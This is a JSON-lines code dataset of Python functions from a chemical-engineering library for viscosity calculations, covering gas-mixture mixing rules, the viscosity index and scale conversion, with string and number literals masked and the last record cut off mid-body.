{"signature": "def Brokaw(T, ys, mus, MWs, molecular_diameters, Stockmayers):", "body": "cmps = range(len(ys))<EOL>MDs = molecular_diameters<EOL>if not none_and_length_check([ys, mus, MWs, molecular_diameters, Stockmayers]): <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Tsts = [T/Stockmayer_i for Stockmayer_i in Stockmayers]<EOL>Sij = [[<NUM_LIT:0> for i in cmps] for j in cmps]<EOL>Mij = [[<NUM_LIT:0> for i in cmps] for j in cmps]<EOL>mij = [[<NUM_LIT:0> for i in cmps] for j in cmps]<EOL>Aij = [[<NUM_LIT:0> for i in cmps] for j in cmps]<EOL>phiij =[[<NUM_LIT:0> for i in cmps] for j in cmps]<EOL>for i in cmps:<EOL><INDENT>for j in cmps:<EOL><INDENT>Sij[i][j] = (<NUM_LIT:1>+(Tsts[i]*Tsts[j])**<NUM_LIT:0.5> + (MDs[i]*MDs[j])/<NUM_LIT>)/(<NUM_LIT:1> + Tsts[i] + (MDs[i]**<NUM_LIT:2>/<NUM_LIT>))**<NUM_LIT:0.5>/(<NUM_LIT:1> + Tsts[j] + (MDs[j]**<NUM_LIT:2>/<NUM_LIT>))**<NUM_LIT:0.5><EOL>if MDs[i] <= <NUM_LIT:0.1> and MDs[j] <= <NUM_LIT:0.1>:<EOL><INDENT>Sij[i][j] = <NUM_LIT:1><EOL><DEDENT>Mij[i][j] = MWs[i]/MWs[j]<EOL>mij[i][j] = (<NUM_LIT>/(<NUM_LIT:1>+Mij[i][j]**-<NUM_LIT:1>)/(<NUM_LIT:1>+Mij[i][j]))**<NUM_LIT><EOL>Aij[i][j] = mij[i][j]*Mij[i][j]**-<NUM_LIT:0.5>*(<NUM_LIT:1> + (Mij[i][j]-Mij[i][j]**<NUM_LIT>)/(<NUM_LIT:2>*(<NUM_LIT:1>+Mij[i][j]) + (<NUM_LIT:1>+Mij[i][j]**<NUM_LIT>)*mij[i][j]**-<NUM_LIT:0.5>/(<NUM_LIT:1>+mij[i][j])))<EOL>phiij[i][j] = (mus[i]/mus[j])**<NUM_LIT:0.5>*Sij[i][j]*Aij[i][j]<EOL><DEDENT><DEDENT>return sum([ys[i]*mus[i]/sum([ys[j]*phiij[i][j] for j in cmps]) for i in cmps])<EOL>", "docstring": "r'''Calculates viscosity of a gas mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        \\eta_{mix} = \\sum_{i=1}^n \\frac{y_i \\eta_i}{\\sum_{j=1}^n y_j \\phi_{ij}}\n\n        \\phi_{ij} = \\left( \\frac{\\eta_i}{\\eta_j} \\right)^{0.5} S_{ij} A_{ij}\n\n        A_{ij} = m_{ij} M_{ij}^{-0.5} \\left[1 +\n        \\frac{M_{ij} - M_{ij}^{0.45}}\n        {2(1+M_{ij}) + \\frac{(1 + M_{ij}^{0.45}) m_{ij}^{-0.5}}{1 + m_{ij}}} \\right]\n\n        m_{ij} = \\left[ \\frac{4}{(1+M_{ij}^{-1})(1+M_{ij})}\\right]^{0.25}\n\n        M_{ij} = \\frac{M_i}{M_j}\n\n        S_{ij} = \\frac{1 + (T_i^* T_j^*)^{0.5} + (\\delta_i \\delta_j/4)}\n        {[1+T_i^* + (\\delta_i^2/4)]^{0.5}[1+T_j^*+(\\delta_j^2/4)]^{0.5}}\n\n        T^* = kT/\\epsilon\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    ys : float\n        Mole fractions of gas components\n    mus : float\n        Gas viscosities of all components, [Pa*S]\n    MWs : float\n        Molecular weights of all components, [g/mol]\n    molecular_diameters : float\n        L-J molecular diameter  of all components, [angstroms]\n    Stockmayers : float\n        L-J Stockmayer energy parameters of all components, []\n\n    Returns\n    -------\n    mug : float\n        Viscosity of gas mixture, [Pa*S]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The original source has not been reviewed.\n\n    This is DIPPR Procedure 8D: Method for the Viscosity of Nonhydrocarbon\n    Vapor Mixtures at Low Pressure (Polar and Nonpolar)\n\n    Examples\n    --------\n    >>> Brokaw(308.2, [0.05, 0.95], [1.34E-5, 9.5029E-6], [64.06, 46.07], [0.42, 0.19], [347, 432])\n    9.699085099801568e-06\n\n    References\n    ----------\n    .. [1] Brokaw, R. S. \"Predicting Transport Properties of Dilute Gases.\"\n       Industrial & Engineering Chemistry Process Design and Development\n       8, no. 2 (April 1, 1969): 240-53. doi:10.1021/i260030a015.\n    .. [2] Brokaw, R. S. Viscosity of Gas Mixtures, NASA-TN-D-4496, 1968.\n    .. [3] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15804:m12"}
{"signature": "def _round_whole_even(i):", "body": "if i % <NUM_LIT> == <NUM_LIT:0>:<EOL><INDENT>if (i + <NUM_LIT:0.5>) % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>i = i + <NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>i = i - <NUM_LIT:0.5><EOL><DEDENT><DEDENT>else:<EOL><INDENT>i = round(i, <NUM_LIT:0>)<EOL><DEDENT>return int(i)<EOL>", "docstring": "r'''Round a number to the nearest whole number. If the number is exactly\n    between two numbers, round to the even whole number. Used by\n    `viscosity_index`.\n\n    Parameters\n    ----------\n    i : float\n        Number, [-]\n\n    Returns\n    -------\n    i : int\n        Rounded number, [-]\n\n    Notes\n    -----\n    Should never run with inputs from a practical function, as numbers on\n    computers aren't really normally exactly between two numbers.\n\n    Examples\n    --------\n    _round_whole_even(116.5)\n    116", "id": "f15804:m13"}
{"signature": "def viscosity_index(nu_40, nu_100, rounding=False):", "body": "nu_40, nu_100 = nu_40*<NUM_LIT>, nu_100*<NUM_LIT>  <EOL>if nu_100 < <NUM_LIT:2>:<EOL><INDENT>return None  <EOL><DEDENT>elif nu_100 < <NUM_LIT>:<EOL><INDENT>L = np.interp(nu_100, VI_nus, VI_Ls)<EOL>H = np.interp(nu_100, VI_nus, VI_Hs)<EOL><DEDENT>else:<EOL><INDENT>L = <NUM_LIT>*nu_100**<NUM_LIT:2> + <NUM_LIT>*nu_100 - <NUM_LIT><EOL>H = <NUM_LIT>*nu_100**<NUM_LIT:2> + <NUM_LIT>*nu_100 - <NUM_LIT><EOL><DEDENT>if nu_40 > H:<EOL><INDENT>VI = (L-nu_40)/(L-H)*<NUM_LIT:100><EOL><DEDENT>else:<EOL><INDENT>N = (log(H) - log(nu_40))/log(nu_100)<EOL>VI = (<NUM_LIT:10>**N-<NUM_LIT:1>)/<NUM_LIT> + <NUM_LIT:100><EOL><DEDENT>if rounding:<EOL><INDENT>VI = _round_whole_even(VI)<EOL><DEDENT>return VI<EOL>", "docstring": "r'''Calculates the viscosity index of a liquid. Requires dynamic viscosity\n    of a liquid at 40\u00b0C and 100\u00b0C. Value may either be returned with or\n    without rounding. Rounding is performed per the standard.\n\n    if nu_100 < 70:\n\n    .. math::\n        L, H = interp(nu_100)\n\n    else:\n\n    .. math::\n        L = 0.8353\\nu_{100}^2 + 14.67\\nu_{100} - 216\n\n        H = 0.1684\\nu_{100}^2 + 11.85\\nu_{100} - 97\n\n    if nu_40 > H:\n\n    .. math::\n        VI = \\frac{L-nu_{40}}{L-H}\\cdot 100\n\n    else:\n\n    .. math::\n        N = \\frac{\\log(H) - \\log(\\nu_{40})}{\\log (\\nu_{100})}\n\n         VI = \\frac{10^N-1}{0.00715} + 100\n\n    Parameters\n    ----------\n    nu_40 : float\n        Dynamic viscosity of fluid at 40\u00b0C, [m^2/s]\n    nu_100 : float\n        Dynamic viscosity of fluid at 100\u00b0C, [m^2/s]\n    rounding : bool, optional\n        Whether to round the value or not.\n\n    Returns\n    -------\n    VI: float\n        Viscosity index [-]\n\n    Notes\n    -----\n    VI is undefined for nu_100 under 2 mm^2/s. None is returned if this is the\n    case. Internal units are mm^2/s. Higher values of viscosity index suggest\n    a lesser decrease in kinematic viscosity as temperature increases.\n\n    Note that viscosity is a pressure-dependent property, and that the \n    viscosity index is defined for a fluid at whatever pressure it is at.\n    The viscosity index is thus also a function of pressure.\n\n    Examples\n    --------\n    >>> viscosity_index(73.3E-6, 8.86E-6, rounding=True)\n    92\n\n    References\n    ----------\n    .. [1] ASTM D2270-10(2016) Standard Practice for Calculating Viscosity\n       Index from Kinematic Viscosity at 40\u2009\u00b0C and 100\u2009\u00b0C, ASTM International,\n       West Conshohocken, PA, 2016, http://dx.doi.org/10.1520/D2270-10R16", "id": "f15804:m14"}
{"signature": "def viscosity_converter(val, old_scale, new_scale, extrapolate=False):", "body": "def range_check(visc, scale):<EOL><INDENT>scale_min, scale_max, nu_min, nu_max = viscosity_converter_limits[scale]<EOL>if visc < scale_min*(<NUM_LIT:1.>-<NUM_LIT>) or visc > scale_max*(<NUM_LIT:1.>+<NUM_LIT>):<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %(scale, visc, scale_min, scale_max))<EOL><DEDENT><DEDENT>def range_check_linear(val, c, tmin, scale):<EOL><INDENT>if val < tmin:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %(scale, val, tmin))<EOL><DEDENT><DEDENT>old_scale = old_scale.lower().replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').strip()<EOL>new_scale = new_scale.lower().replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').strip()<EOL>def Saybolt_universal_eq(nu):<EOL><INDENT>return (<NUM_LIT>*nu + (<NUM_LIT> + <NUM_LIT>*nu)/(nu*(nu*(<NUM_LIT>*nu + <NUM_LIT>) <EOL>+ <NUM_LIT>) + <NUM_LIT>))<EOL><DEDENT>if old_scale == '<STR_LIT>':<EOL><INDENT>val = <NUM_LIT>*val <EOL><DEDENT>elif old_scale == '<STR_LIT>':<EOL><INDENT>if not extrapolate:<EOL><INDENT>range_check(val, old_scale)<EOL><DEDENT>to_solve = lambda nu: Saybolt_universal_eq(nu) - val<EOL>val = newton(to_solve, <NUM_LIT:1>)<EOL><DEDENT>elif old_scale in viscosity_converters_to_nu:<EOL><INDENT>if not extrapolate:<EOL><INDENT>range_check(val, old_scale)<EOL><DEDENT>val = exp(viscosity_converters_to_nu[old_scale](log(val)))<EOL><DEDENT>elif old_scale in viscosity_scales_linear:<EOL><INDENT>c, tmin = viscosity_scales_linear[old_scale]<EOL>if not extrapolate:<EOL><INDENT>range_check_linear(val, c, tmin, old_scale)<EOL><DEDENT>val = c*val <EOL><DEDENT>else:<EOL><INDENT>keys = sorted(set(list(viscosity_scales.keys()) + list(viscosity_scales_linear.keys())))<EOL>raise Exception('<STR_LIT>' %(old_scale, keys))<EOL><DEDENT>if new_scale == '<STR_LIT>':<EOL><INDENT>val = <NUM_LIT>*val <EOL><DEDENT>elif new_scale == '<STR_LIT>':<EOL><INDENT>val = Saybolt_universal_eq(val)<EOL><DEDENT>elif new_scale in viscosity_converters_from_nu:<EOL><INDENT>val = exp(viscosity_converters_from_nu[new_scale](log(val)))<EOL>if not extrapolate:<EOL><INDENT>range_check(val, new_scale)<EOL><DEDENT><DEDENT>elif new_scale in viscosity_scales_linear:<EOL><INDENT>c, tmin = viscosity_scales_linear[new_scale]<EOL>val = val/c <EOL>if not extrapolate:<EOL><INDENT>range_check_linear(val, c, tmin, new_scale)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>keys = sorted(set(list(viscosity_scales.keys()) + list(viscosity_scales_linear.keys())))<EOL>raise Exception('<STR_LIT>' %(new_scale, keys))<EOL><DEDENT>return float(val)<EOL>", "docstring": "r'''Converts kinematic viscosity values from different scales which have\n    historically been used. Though they may not be in use much, some standards\n    still specify values in these scales.\n\n    Parameters\n    ----------\n    val : float\n        Viscosity value in the specified scale; [m^2/s] if \n        'kinematic viscosity'; [degrees] if Engler or Barbey; [s] for the other\n        scales.\n    old_scale : str\n        String representing the scale that `val` is in originally.\n    new_scale : str\n        String representing the scale that `val` should be converted to.\n    extrapolate : bool\n        If True, a conversion will be performed even if outside the limits of\n        either scale; if False, and either value is outside a limit, an\n        exception will be raised.\n\n    Returns\n    -------\n    result : float\n        Viscosity value in the specified scale; [m^2/s] if \n        'kinematic viscosity'; [degrees] if Engler or Barbey; [s] for the other\n        scales\n\n    Notes\n    -----\n    The valid scales for this function are any of the following:\n\n    ['a&w b', 'a&w crucible', 'american can', 'astm 0.07', 'astm 0.10', \n    'astm 0.15', 'astm 0.20', 'astm 0.25', 'barbey', 'caspers tin plate', \n    'continental can', 'crown cork and seal', 'demmier #1', 'demmier #10', \n    'engler', 'ford cup #3', 'ford cup #4', 'kinematic viscosity', \n    'mac michael', 'murphy varnish', 'parlin cup #10', 'parlin cup #15', \n    'parlin cup #20', 'parlin cup #25', 'parlin cup #30', 'parlin cup #7', \n    'pratt lambert a', 'pratt lambert b', 'pratt lambert c', 'pratt lambert d', \n    'pratt lambert e', 'pratt lambert f', 'pratt lambert g', 'pratt lambert h',\n    'pratt lambert i', 'redwood admiralty', 'redwood standard', \n    'saybolt furol', 'saybolt universal', 'scott', 'stormer 100g load', \n    'westinghouse', 'zahn cup #1', 'zahn cup #2', 'zahn cup #3', 'zahn cup #4',\n    'zahn cup #5']\n\n    Some of those scales are converted linearly; the rest use tabulated data\n    and splines.\n\n    Because the conversion is performed by spline functions, a re-conversion\n    of a value will not yield exactly the original value. However, it is quite\n    close.\n\n    The method 'Saybolt universal' has a special formula implemented for its\n    conversion, from [4]_. It is designed for maximum backwards compatibility\n    with prior experimental data. It is solved by newton's method when \n    kinematic viscosity is desired as an output.\n\n    .. math::\n        SUS_{eq} = 4.6324\\nu_t + \\frac{[1.0 + 0.03264\\nu_t]}\n        {[(3930.2 + 262.7\\nu_t + 23.97\\nu_t^2 + 1.646\\nu_t^3)\\times10^{-5})]}\n\n    Examples\n    --------\n    >>> viscosity_converter(8.79, 'engler', 'parlin cup #7')\n    52.5\n    >>> viscosity_converter(700, 'Saybolt Universal Seconds', 'kinematic viscosity')\n    0.00015108914751515542\n\n    References\n    ----------\n    .. [1] Hydraulic Institute. Hydraulic Institute Engineering Data Book. \n       Cleveland, Ohio: Hydraulic Institute, 1990.\n    .. [2] Gardner/Sward. Paint Testing Manual. Physical and Chemical \n       Examination of Paints, Varnishes, Lacquers, and Colors. 13th Edition. \n       ASTM, 1972.\n    .. [3] Euverard, M. R., The Efflux Type Viscosity Cup. National Paint, \n       Varnish, and Lacquer Association, 1948.\n    .. [4] API Technical Data Book: General Properties & Characterization.\n       American Petroleum Institute, 7E, 2005.\n    .. [5] ASTM. Standard Practice for Conversion of Kinematic Viscosity to \n       Saybolt Universal Viscosity or to Saybolt Furol Viscosity. D 2161 - 93.", "id": "f15804:m15"}
{"signature": "def load_all_methods(self):", "body": "methods, methods_P = [], []<EOL>Tmins, Tmaxs = [], []<EOL>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP); methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tmin); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.CASRN in Dutt_Prasad.index:<EOL><INDENT>methods.append(DUTT_PRASAD)<EOL>_, A, B, C, self.DUTT_PRASAD_Tmin, self.DUTT_PRASAD_Tmax = _Dutt_Prasad_values[Dutt_Prasad.index.get_loc(self.CASRN)].tolist()<EOL>self.DUTT_PRASAD_coeffs = [A, B, C]<EOL>Tmins.append(self.DUTT_PRASAD_Tmin); Tmaxs.append(self.DUTT_PRASAD_Tmax)<EOL><DEDENT>if self.CASRN in VN3_data.index:<EOL><INDENT>methods.append(VISWANATH_NATARAJAN_3)<EOL>_, _, A, B, C, self.VISWANATH_NATARAJAN_3_Tmin, self.VISWANATH_NATARAJAN_3_Tmax = _VN3_data_values[VN3_data.index.get_loc(self.CASRN)].tolist()<EOL>self.VISWANATH_NATARAJAN_3_coeffs = [A, B, C]<EOL>Tmins.append(self.VISWANATH_NATARAJAN_3_Tmin); Tmaxs.append(self.VISWANATH_NATARAJAN_3_Tmax)<EOL><DEDENT>if self.CASRN in VN2_data.index:<EOL><INDENT>methods.append(VISWANATH_NATARAJAN_2)<EOL>_, _, A, B, self.VISWANATH_NATARAJAN_2_Tmin, self.VISWANATH_NATARAJAN_2_Tmax = _VN2_data_values[VN2_data.index.get_loc(self.CASRN)].tolist()<EOL>self.VISWANATH_NATARAJAN_2_coeffs = [A, B]<EOL>Tmins.append(self.VISWANATH_NATARAJAN_2_Tmin); Tmaxs.append(self.VISWANATH_NATARAJAN_2_Tmax)<EOL><DEDENT>if self.CASRN in VN2E_data.index:<EOL><INDENT>methods.append(VISWANATH_NATARAJAN_2E)<EOL>_, _, C, D, self.VISWANATH_NATARAJAN_2E_Tmin, self.VISWANATH_NATARAJAN_2E_Tmax = _VN2E_data_values[VN2E_data.index.get_loc(self.CASRN)].tolist()<EOL>self.VISWANATH_NATARAJAN_2E_coeffs = [C, D]<EOL>Tmins.append(self.VISWANATH_NATARAJAN_2E_Tmin); Tmaxs.append(self.VISWANATH_NATARAJAN_2E_Tmax)<EOL><DEDENT>if self.CASRN in Perrys2_313.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, C1, C2, C3, C4, C5, self.Perrys2_313_Tmin, self.Perrys2_313_Tmax = _Perrys2_313_values[Perrys2_313.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_313_coeffs = [C1, C2, C3, C4, C5]<EOL>Tmins.append(self.Perrys2_313_Tmin); Tmaxs.append(self.Perrys2_313_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_7.index:<EOL><INDENT>methods.append(VDI_PPDS)<EOL>self.VDI_PPDS_coeffs = _VDI_PPDS_7_values[VDI_PPDS_7.index.get_loc(self.CASRN)].tolist()[<NUM_LIT:2>:]<EOL><DEDENT>if all((self.MW, self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods.append(LETSOU_STIEL)<EOL>Tmins.append(self.Tc/<NUM_LIT:4>); Tmaxs.append(self.Tc) <EOL><DEDENT>if all((self.MW, self.Tm, self.Tc, self.Pc, self.Vc, self.omega, self.Vml)):<EOL><INDENT>methods.append(PRZEDZIECKI_SRIDHAR)<EOL>Tmins.append(self.Tm); Tmaxs.append(self.Tc) <EOL><DEDENT>if all([self.Tc, self.Pc, self.omega]):<EOL><INDENT>methods_P.append(LUCAS)<EOL><DEDENT>self.all_methods = set(methods)<EOL>self.all_methods_P = set(methods_P)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        :obj:`all_methods` and obj:`all_methods_P` as a set of methods for\n        which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15804:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == DUTT_PRASAD:<EOL><INDENT>A, B, C = self.DUTT_PRASAD_coeffs<EOL>mu = ViswanathNatarajan3(T, A, B, C, )<EOL><DEDENT>elif method == VISWANATH_NATARAJAN_3:<EOL><INDENT>A, B, C = self.VISWANATH_NATARAJAN_3_coeffs<EOL>mu = ViswanathNatarajan3(T, A, B, C)<EOL><DEDENT>elif method == VISWANATH_NATARAJAN_2:<EOL><INDENT>A, B = self.VISWANATH_NATARAJAN_2_coeffs<EOL>mu = ViswanathNatarajan2(T, self.VISWANATH_NATARAJAN_2_coeffs[<NUM_LIT:0>], self.VISWANATH_NATARAJAN_2_coeffs[<NUM_LIT:1>])<EOL><DEDENT>elif method == VISWANATH_NATARAJAN_2E:<EOL><INDENT>C, D = self.VISWANATH_NATARAJAN_2E_coeffs<EOL>mu = ViswanathNatarajan2Exponential(T, C, D)<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>mu = EQ101(T, *self.Perrys2_313_coeffs)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>mu = CoolProp_T_dependent_property(T, self.CASRN, '<STR_LIT>', '<STR_LIT:l>')<EOL><DEDENT>elif method == LETSOU_STIEL:<EOL><INDENT>mu = Letsou_Stiel(T, self.MW, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == PRZEDZIECKI_SRIDHAR:<EOL><INDENT>Vml = self.Vml(T) if hasattr(self.Vml, '<STR_LIT>') else self.Vml<EOL>mu = Przedziecki_Sridhar(T, self.Tm, self.Tc, self.Pc, self.Vc, Vml, self.omega, self.MW)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>A, B, C, D, E = self.VDI_PPDS_coeffs<EOL>term = (C - T)/(T-D)<EOL>if term < <NUM_LIT:0>:<EOL><INDENT>term1 = -((T - C)/(T-D))**(<NUM_LIT:1>/<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>term1 = term**(<NUM_LIT:1>/<NUM_LIT>)<EOL><DEDENT>term2 = term*term1<EOL>mu = E*exp(A*term1 + B*term2)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>mu = self.interpolate(T, method)<EOL><DEDENT>return mu<EOL>", "docstring": "r'''Method to calculate low-pressure liquid viscosity at tempearture\n        `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate viscosity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of the liquid at T and a low pressure, [Pa*S]", "id": "f15804:c0:m2"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == LUCAS:<EOL><INDENT>mu = self.T_dependent_property(T)<EOL>Psat = self.Psat(T) if hasattr(self.Psat, '<STR_LIT>') else self.Psat<EOL>mu = Lucas(T, P, self.Tc, self.Pc, self.omega, Psat, mu)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>mu = PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>mu = self.interpolate_P(T, P, method)<EOL><DEDENT>return mu<EOL>", "docstring": "r'''Method to calculate pressure-dependent liquid viscosity at\n        temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate viscosity, [K]\n        P : float\n            Pressure at which to calculate viscosity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of the liquid at T and P, [Pa*S]", "id": "f15804:c0:m4"}
{"signature": "def load_all_methods(self):", "body": "methods = [MIXING_LOG_MOLAR, MIXING_LOG_MASS]<EOL>if len(self.CASs) > <NUM_LIT:1> and '<STR_LIT>' in self.CASs:<EOL><INDENT>wCASs = [i for i in self.CASs if i != '<STR_LIT>'] <EOL>if all([i in _Laliberte_Viscosity_ParametersDict for i in wCASs]):<EOL><INDENT>methods.append(LALIBERTE_MU)<EOL>self.wCASs = wCASs<EOL>self.index_w = self.CASs.index('<STR_LIT>')<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>Tmins = [i.Tmin for i in self.ViscosityLiquids if i.Tmin]<EOL>Tmaxs = [i.Tmax for i in self.ViscosityLiquids if i.Tmax]<EOL>if Tmins:<EOL><INDENT>self.Tmin = max(Tmins)<EOL><DEDENT>if Tmaxs:<EOL><INDENT>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15804:c1:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == MIXING_LOG_MOLAR:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityLiquids]<EOL>return mixing_logarithmic(zs, mus)<EOL><DEDENT>elif method == MIXING_LOG_MASS:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityLiquids]<EOL>return mixing_logarithmic(ws, mus)<EOL><DEDENT>elif method == LALIBERTE_MU:<EOL><INDENT>ws = list(ws) ; ws.pop(self.index_w)<EOL>return Laliberte_viscosity(T, ws, self.wCASs)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate viscosity of a liquid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of the liquid mixture, [Pa*s]", "id": "f15804:c1:m2"}
{"signature": "def load_all_methods(self):", "body": "methods, methods_P = [], []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP); methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tmin); Tmaxs.append(self.CP_f.Tmax)<EOL><DEDENT>if self.CASRN in Perrys2_312.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, C1, C2, C3, C4, self.Perrys2_312_Tmin, self.Perrys2_312_Tmax = _Perrys2_312_values[Perrys2_312.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_312_coeffs = [C1, C2, C3, C4]<EOL>Tmins.append(self.Perrys2_312_Tmin); Tmaxs.append(self.Perrys2_312_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_8.index:<EOL><INDENT>methods.append(VDI_PPDS)<EOL>self.VDI_PPDS_coeffs = _VDI_PPDS_8_values[VDI_PPDS_8.index.get_loc(self.CASRN)].tolist()[<NUM_LIT:1>:]<EOL>self.VDI_PPDS_coeffs.reverse() <EOL><DEDENT>if all([self.Tc, self.Pc, self.MW]):<EOL><INDENT>methods.append(GHARAGHEIZI)<EOL>methods.append(YOON_THODOS)<EOL>methods.append(STIEL_THODOS)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(<NUM_LIT>)  <EOL><DEDENT>if all([self.Tc, self.Pc, self.Zc, self.MW]):<EOL><INDENT>methods.append(LUCAS_GAS)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(<NUM_LIT>)<EOL><DEDENT>self.all_methods = set(methods)<EOL>self.all_methods_P = set(methods_P)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        :obj:`all_methods` and obj:`all_methods_P` as a set of methods for\n        which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15804:c2:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == GHARAGHEIZI:<EOL><INDENT>mu = Gharagheizi_gas_viscosity(T, self.Tc, self.Pc, self.MW)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>mu = CoolProp_T_dependent_property(T, self.CASRN, '<STR_LIT>', '<STR_LIT:g>')<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>mu = EQ102(T, *self.Perrys2_312_coeffs)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>mu =  horner(self.VDI_PPDS_coeffs, T)<EOL><DEDENT>elif method == YOON_THODOS:<EOL><INDENT>mu = Yoon_Thodos(T, self.Tc, self.Pc, self.MW)<EOL><DEDENT>elif method == STIEL_THODOS:<EOL><INDENT>mu = Stiel_Thodos(T, self.Tc, self.Pc, self.MW)<EOL><DEDENT>elif method == LUCAS_GAS:<EOL><INDENT>mu = lucas_gas(T, self.Tc, self.Pc, self.Zc, self.MW, self.dipole, CASRN=self.CASRN)<EOL><DEDENT>elif method in 